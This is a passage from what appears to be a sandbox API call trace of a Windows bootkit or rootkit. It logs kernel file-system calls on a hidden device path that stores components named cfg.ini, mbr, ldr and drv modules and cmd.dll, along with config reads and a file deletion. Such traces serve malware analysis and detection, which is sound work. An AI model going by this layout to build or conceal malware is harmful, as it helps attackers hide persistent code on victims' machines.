lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.282] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.282] KeEnterCriticalRegion () [0128.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.282] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.282] IdePortDispatch () returned 0x103 [0128.282] KeWaitForMutexObject () returned 0x0 [0128.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.282] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.282] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.282] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.282] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.282] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039508e0 [0128.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.282] KeLeaveCriticalRegion () [0128.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.282] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.282] KeEnterCriticalRegion () [0128.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.282] KeLeaveCriticalRegion () [0128.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.283] KeEnterCriticalRegion () [0128.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.283] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.283] IdePortDispatch () returned 0x103 [0128.283] KeWaitForMutexObject () returned 0x0 [0128.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.283] KeLeaveCriticalRegion () [0128.283] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.283] KeEnterCriticalRegion () [0128.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345e000 [0128.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.283] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.283] IdePortDispatch () returned 0x103 [0128.283] KeWaitForMutexObject () returned 0x0 [0128.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.284] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.284] IdePortDispatch () returned 0x103 [0128.284] KeWaitForMutexObject () returned 0x0 [0128.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.284] KeLeaveCriticalRegion () [0128.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.285] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.285] KeEnterCriticalRegion () [0128.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] KeLeaveCriticalRegion () [0128.285] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.285] KeEnterCriticalRegion () [0128.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.285] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] KeLeaveCriticalRegion () [0128.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.285] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.285] KeEnterCriticalRegion () [0128.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] ExFreePoolWithTag (P=0xfffffa80039508e0, Tag=0x0) [0128.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] KeLeaveCriticalRegion () [0128.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.285] ReleaseMutex (hMutex=0xf0) returned 1 [0128.285] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.285] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.285] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.285] KeEnterCriticalRegion () [0128.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.285] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.285] IdePortDispatch () returned 0x103 [0128.286] KeWaitForMutexObject () returned 0x0 [0128.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.286] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.286] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.286] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.286] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.286] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca20 [0128.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.286] KeLeaveCriticalRegion () [0128.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.286] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.286] KeEnterCriticalRegion () [0128.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.286] KeLeaveCriticalRegion () [0128.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.286] KeEnterCriticalRegion () [0128.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.286] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.286] IdePortDispatch () returned 0x103 [0128.286] KeWaitForMutexObject () returned 0x0 [0128.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.287] KeLeaveCriticalRegion () [0128.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.287] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.287] KeEnterCriticalRegion () [0128.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345f000 [0128.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.287] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.287] IdePortDispatch () returned 0x103 [0128.287] KeWaitForMutexObject () returned 0x0 [0128.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.287] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.287] IdePortDispatch () returned 0x103 [0128.288] KeWaitForMutexObject () returned 0x0 [0128.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.288] KeLeaveCriticalRegion () [0128.288] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.288] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.288] KeEnterCriticalRegion () [0128.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.288] KeLeaveCriticalRegion () [0128.288] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.289] KeEnterCriticalRegion () [0128.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.289] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.289] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.289] KeLeaveCriticalRegion () [0128.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.289] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.289] KeEnterCriticalRegion () [0128.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.289] ExFreePoolWithTag (P=0xfffffa8002adca20, Tag=0x0) [0128.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.289] KeLeaveCriticalRegion () [0128.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.289] ReleaseMutex (hMutex=0xf0) returned 1 [0128.289] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.289] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.289] KeEnterCriticalRegion () [0128.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.289] IdePortDispatch () returned 0x103 [0128.289] KeWaitForMutexObject () returned 0x0 [0128.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.290] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.290] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe800 [0128.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.290] KeLeaveCriticalRegion () [0128.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.290] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.290] KeEnterCriticalRegion () [0128.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.290] KeLeaveCriticalRegion () [0128.290] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.290] KeEnterCriticalRegion () [0128.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.290] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.290] IdePortDispatch () returned 0x103 [0128.290] KeWaitForMutexObject () returned 0x0 [0128.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.290] KeLeaveCriticalRegion () [0128.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.291] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.291] KeEnterCriticalRegion () [0128.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003460000 [0128.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.291] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.291] IdePortDispatch () returned 0x103 [0128.291] KeWaitForMutexObject () returned 0x0 [0128.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.291] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.291] IdePortDispatch () returned 0x103 [0128.291] KeWaitForMutexObject () returned 0x0 [0128.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.292] KeLeaveCriticalRegion () [0128.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.292] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.292] KeEnterCriticalRegion () [0128.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.292] KeLeaveCriticalRegion () [0128.292] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.292] KeEnterCriticalRegion () [0128.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.292] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.292] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.292] KeLeaveCriticalRegion () [0128.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.292] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.293] KeEnterCriticalRegion () [0128.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.293] ExFreePoolWithTag (P=0xfffffa8003bfe800, Tag=0x0) [0128.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.293] KeLeaveCriticalRegion () [0128.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.293] ReleaseMutex (hMutex=0xf0) returned 1 [0128.293] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.293] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.293] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.293] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.293] KeEnterCriticalRegion () [0128.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.293] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.293] IdePortDispatch () returned 0x103 [0128.293] KeWaitForMutexObject () returned 0x0 [0128.293] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.293] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.293] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.293] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.293] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.293] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.293] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.293] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.294] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.294] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.294] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.294] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.294] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.294] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.294] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.294] KeLeaveCriticalRegion () [0128.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.294] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 